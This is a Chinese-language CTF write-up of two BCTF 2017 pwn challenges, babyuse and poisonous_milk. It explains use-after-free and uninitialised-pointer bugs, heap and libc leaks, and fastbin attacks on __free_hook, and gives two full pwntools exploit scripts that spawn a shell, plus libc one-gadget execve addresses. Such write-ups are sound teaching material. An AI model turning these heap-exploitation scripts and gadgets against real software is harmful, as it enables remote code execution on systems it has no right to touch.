美文网首页
bctf2017赛后总结

bctf2017赛后总结

作者: bluecake | 来源:发表于2017-04-23 21:37 被阅读0次

    这次比赛只做了两道入门题,感觉还是思路太窄了。不过,还是学到了一些新姿势。

    babyuse

    root@kali ~/桌面# ./babyuse 
     _                                         
    |_)_. _ _o _ ._  |  _  _. _| _  /\ ._ _    
    | (_|_>_>|(_)| | |_(/_(_|(_|_> /--\| | |\/ 
                                            /  
    
    Menu:
    1. Buy a Gun
    2. Select a Gun
    3. List Guns
    4. Rename a Gun
    5. Use a Gun
    6. Drop a Gun
    7. Exit
    

    这个题应该算是比较明显的UAF漏洞


    漏洞位置

    Select_id源于Select a Gun中


    Select a Gun
    Select_id需要保证对应的guns_flag不为0,但因为Select a Gun和Use a Gun是两个独立的功能,那么完全可以先调用Select a Gun并输入一个合法的select_id,接着调用Drop a Gun将这些指针都释放掉,最后再调用Use a Gun。因此总的利用思路为:首先buy 4次,然后select,接着drop,最后use以泄露libc地址。
    Paste_Image.png

    泄露地址的事就比较简单了,修改函数指针,使其指向system函数


    Paste_Image.png
    不过,直接调用system可能会存在一些问题,因为v3指向的是枪支的结构体指针 Paste_Image.png

    第一部分vtable指针,这一部分必须覆盖为伪vtable表,不过因为这个题是32位程序,我们可以把/bin/sh附加在vtable指针后面,并用“;”截断命令


    Paste_Image.png

    完整的利用脚本如下

    #!/usr/bin/env python
    # coding=utf-8
    
    from pwn import *
    
    slog = 0
    debug = 0
    local = 0
    
    if local:
        p = process('./babyuse')
        libc = ELF('/lib32/libc.so.6')
    else:
        p = remote('202.112.51.247',  3456)
        #libc = ELF('./libc.so')
        p.recvuntil('Token:')
        p.sendline('BwmDoZoJ9QjSFF65dgYP5eoNjGvoYl7K')
    
    if slog: context.log_level = 'DEBUG'
    
    
    def buy(gun_type, length, name):
        p.recvuntil('7. Exit')
        p.sendline('1')
        p.recvuntil('2. QBZ95')
        p.sendline(str(gun_type))
        p.recvuntil('Lenth of name:')
        p.sendline(str(length))
        p.recvuntil('Input name:')
        p.sendline(name)
    
    def drop(index):
        p.recvuntil('7. Exit')
        p.sendline('6')
        p.recvuntil('Choose a gun to delete:')
        p.sendline(str(index))
    
    def select(index):
        p.recvuntil('7. Exit')
        p.sendline('2')
        p.recvuntil('Select a gun')
        p.sendline(str(index))
    
    def use(option):
        p.recvuntil('7. Exit')
        p.sendline('5')
        p.recvuntil('4. Main menu')
        p.sendline(str(option))
    
    def rename(index, length, name):
        p.recvuntil('7. Exit')
        p.sendline('4')
        p.recvuntil('Choose a gun to rename:')
        p.sendline(str(index))
        p.recvuntil('Lenth of name:')
        p.sendline(str(length))
        p.recvuntil('Input name:')
        p.sendline(name)
    
    
    buy(1, 0x50, 'a')
    buy(1, 0x60, 'b')
    buy(1, 2, 'c')
    buy(1, 2, 'd')
    select(2)
    drop(0)
    drop(1)
    drop(2)
    drop(3)
    buy(1, 0x20000, 'a')
    
    p.recvuntil('7. Exit')
    p.sendline('5')
    p.recvuntil('Select gun ')
    leak_heap = u32(p.recv(4))
    print 'leak_heap addr is', hex(leak_heap)
    
    p.recvuntil('4. Main menu')
    p.sendline('4')
    
    heap_base = leak_heap - 0x20
    buy(1, 0xf4, 'a' * 0xdc + p32(heap_base + 0x11c))
    
    p.recvuntil('7. Exit')
    p.sendline('5')
    p.recvuntil('Select gun ')
    leak_libc = u32(p.recv(4))
    print 'leak_libc addr is', hex(leak_libc)
    
    
    if local: 
        libc_base = leak_libc - 0x1b37b0
        system_addr = libc_base + libc.symbols['system']
    else:
        libc_base = leak_libc - 0x1b27b0
        system_addr = libc_base + 0x3ada0
    
    print 'sytem addr is ', hex(system_addr)
    
    p.recvuntil('4. Main menu')
    p.sendline('4')
    
    drop(1)
    buy(1, 0xf4, ('/sh\0' + p32(system_addr)).ljust(0xd8, 'a') + p32(heap_base + 0x28) + p32(heap_base + 0x11c) + ");/bin/sh")
    
    if local and debug: gdb.attach(p, open('debug'))
    p.recvuntil('7. Exit')
    p.sendline('5')
    p.recvuntil('4. Main menu')
    p.sendline('2')
    
    p.interactive()
    

    poisonous_milk

    root@kali ~/桌/poisonous_milk# ./poisonous_milk
    Welcome to rainbow poisonous milk system authored by Xudong Huang
    You can leave your flags here~
    Milk Guide: 
    [p]ut a poisonous milk
    [v]iew all poisonous milks
    [r]emove one milk
    [d]rink pocari sweat
    [q]uit the system
    > 
    

    这个题有两个问题:UAF和未定义指针引用。
    UAF出现在drink_milk中,不难发现在释放了milks指针后并没有将其清空,那么在释放后重新申请内存就可以控制milk->head和milk-tail,只要能够泄露堆地址,就可以做到任意内存分配和释放,后面就是通过对堆的攻击实现任意内存写


    Paste_Image.png

    未定义指针引用


    Paste_Image.png
    如果输入的颜色不在预定义的范围之内,v1->color最终将是一个未定义的值,并且,在不断添加牛奶的过程中,会触发多次不同大小的堆申请与释放操作,通过构造合适的堆块大小就可以泄露出堆地址和libc地址
    Paste_Image.png
    在泄露了堆和libc地址之后,我们的目标就是通过fastbin attack控制EIP了 Paste_Image.png

    但程序开启了FULL RELRO保护,没有办法修改got表,因此只能修改libc上的函数指针,一开始对fastbin attack不是很理解,所以选择了一条比较曲折的方案:
    通过fastbin attack往fastbin数组中写入0x61用作fastbin伪堆头

    Paste_Image.png

    攻击成功后就可以在arena最在的内存段中写入0x61

    Paste_Image.png

    然后再次通过fastbin attack控制main_arena->top并使其指向__free_hook附近,并在多次分配内存后控制_free_hook。具体代码如下:

    #!/usr/bin/env python
    # coding=utf-8
    
    from pwn import *
    
    slog = 1
    debug = 1
    local = 0
    
    if slog: context.log_level = 'DEBUG'
    
    if local:
        p = process('./poisonous_milk')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        p = remote('52.27.136.59', 6969)
        libc = ELF('./libc-2.23.so')
        p.recvuntil('Token:')
        p.sendline('BwmDoZoJ9QjSFF65dgYP5eoNjGvoYl7K')
    
    def put_milk(flags, color):
        p.recvuntil('> ')
        p.sendline('put')
        p.recvuntil('flags (0-99):')
        p.sendline(flags)
        p.recvuntil('color:')
        p.sendline(color)
    
    def view():
        p.recvuntil('> ')
        p.sendline('view')
    
    def remove(index):
        p.recvuntil('> ')
        p.sendline('remove')
        p.recvuntil('index : ')
        p.sendline(str(index))
    
    def drink():
        p.recvuntil('> ')
        p.sendline('drink')
    
    def ljust(astr, length, padding = 'a'):
        return astr.ljust(length, padding)
    
    for i in range(20):
        put_milk('1', 'atack')
    view()
    
    p.recvuntil('[17] [')
    leak_heap = u64(p.recv(6).ljust(8, '\x00'))
    print 'leak_libc is', hex(leak_heap)
    p.recvuntil('[18] [')
    leak_libc = u64(p.recv(6).ljust(8, '\x00'))
    print 'leak_libc is', hex(leak_libc)
    
    drink()
    put_milk(p64(leak_heap - 0x120) + p64(leak_heap - 0x120 + 0x28), 'attack')
    
    payload = p64(leak_heap + 0x40) + p64(leak_heap + 0x60) + p64(leak_heap + 0xb0) + p64(leak_heap + 0xd0) + p64(leak_heap + 0x10) + p64(leak_heap + 0xd0)
    payload = payload.ljust(0x50, 'b')
    put_milk(payload, 'red')
    
    if local:
        libc_base = leak_libc - 0x398b68
    else:
        libc_base = leak_libc - 0x3C3B88
    system_addr = libc_base + libc.symbols['system']
    
    log.info('system_addr is '+ hex(system_addr))
    free_hook = libc_base + libc.symbols['__free_hook']
    
    put_milk('d'*0x50, 'red')
    payload  = p64(0) + p64(0x41)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0x51)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0x41)
    put_milk(payload, "red")
    
    
    put_milk(ljust(p64(0) + p64(0) + p64(0) + p64(0x61) + p64(0) + p64(0), 0x50), 'red')
    
    remove(1)
    remove(0)
    
    log.info("fastbin attack")
    put_milk('/bin/sh\x00'.ljust(0x10, 'a') + p64(0) + p64(0x51) + p64(0x61) + 'a'*0x8, 'red')
    put_milk('\x00' * 0x40, 'red')
    remove(1)
    remove(0)
    put_milk(ljust('a'*0x10 + p64(0) + p64(0x61) + p64(leak_libc - 0x50), 0x50), 'red')
    put_milk(ljust(p64(0) + p64(leak_heap + 0x40), 0x50, '\x00'), 'red')
    
    remove(0)
    
    log.info("control main_arena->top")
    put_milk(ljust(p64(0)*6 + p64(free_hook - 0xa90) + p64(leak_heap + 0xb0) + p64(leak_libc - 0x10)*2, 0x50, '\x00'), 'red')
    for i in range(10):
        put_milk('\x00' * 0x50, 'red')
    for i in range(4):
        put_milk('\x00' * 0x50, 'red')
    put_milk('\x00' * 0x30, 'red')
    for i in range(4):
        put_milk('\x00' * 0x50, 'red')
    
    put_milk('\x00' * 0x30, 'red')
    #view()
    put_milk('\x00' * 0x20, 'red')
    put_milk('\x00' * 0x20, 'red')
    put_milk('\x00' * 0x20, 'red')
    if local and debug: gdb.attach(p, open('debug'))
    put_milk(ljust(p64(0)*6 + p64(system_addr), 0x50, '\x00'), 'red')
    remove(0)
    p.interactive()
    
    

    控制_free_hook的难点在于_free_hook附近没有可以构成伪堆头的数据,如果想要控制就只能通过任意内存写或通过控制main_arena->top来进行任意内存分配。

    其实本题还可以尝试其他思路:修改_malloc_hook,正常情况下,只有允许分配任意大小内存才可以通过_malloc_hook拿shell,因为申请的内存大小对应的是/bin/sh字符串的地址。类似的,还可以修改morecore、stdout结构体vtable等函数指针。

    那么有没有可能在不传入/bin/sh地址(也就是不控制参数)的情况下拿到shell呢?翻了一下libc,发现几个gadget

    .text:03F2DF loc_3F2DF  
    .text:03F2DF        lea     rax, aBinSh+5   ; "sh"
    .text:03F2E6        lea     rsi, unk_39A540
    .text:03F2ED        xor     edx, edx
    .text:03F2EF        mov     edi, 2
    .text:03F2F4        mov     [rsp+188h+var_148], rbx
    .text:03F2F9        mov     [rsp+188h+var_140], 0
    .text:03F302        mov     [rsp+188h+var_158], rax
    .text:03F307        lea     rax, aC         ; "-c"
    .text:03F30E        mov     [rsp+188h+var_150], rax
    .text:03F313        call    sigaction
    .text:03F318        lea     rsi, unk_39A4A0
    .text:03F31F        xor     edx, edx
    .text:03F321        mov     edi, 3
    .text:03F326        call    sigaction
    .text:03F32B        xor     edx, edx
    .text:03F32D        mov     rsi, r12
    .text:03F330        mov     edi, 2
    .text:03F335        call    sigprocmask
    .text:03F33A        mov     rax, cs:environ_ptr_0
    .text:03F341        lea     rdi, aBinSh     ; "/bin/sh"
    .text:03F348        lea     rsi, [rsp+188h+var_158]
    .text:03F34D        mov     cs:dword_39A480, 0
    .text:03F357        mov     cs:dword_39A484, 0
    .text:03F361        mov     rdx, [rax]
    .text:03F364        call    execve
    .text:03F369        mov     edi, 7Fh        ; status
    .text:03F36E        call    _exit
    

    对于这一段代码,我们有四种方式可以拿到shell

    1:控制rbx为"/bin/sh" ["sh","­c","/bin/sh",0]
    2:控制rdi为"/bin/sh" 传统的system ["sh","­c","/bin/sh",0]
    3:控制[rbp+0x30] 为 0, 跳到0x03F33A [0]
    4:控制rax为 0,跳到0x03F2E6 [0,"­c",shell,0]
    

    第二个gadget

    .text:0B8ABF loc_B8ABF:   
    .text:0B8ABF       lea     rdi, aBinSh     ; "/bin/sh"
    .text:0B8AC6       mov     rdx, r12
    .text:0B8AC9       mov     rsi, r13
    .text:0B8ACC       call    execve
    

    这个需要满足的条件是r12和r13是两个可访问的数组指针,并且所指向的数组也是可访问(具体的原理可参考execve的调用规则)

    第三个gadget

    .text:0D6845    mov     rax, cs:environ_ptr_0
    .text:0D684C    lea     rsi, [rsp+1D8h+var_168]
    .text:0D6851    lea     rdi, aBinSh     ; "/bin/sh"
    .text:0D6858    mov     rdx, [rax]
    .text:0D685B    call    execve
    

    其实这几个gadget大同小异,但使用条件各不相同,需要结合实际的情况进行分析。

    相关文章

      网友评论

          本文标题:bctf2017赛后总结

          本文链接:https://www.haomeiwen.com/subject/dkyyzttx.html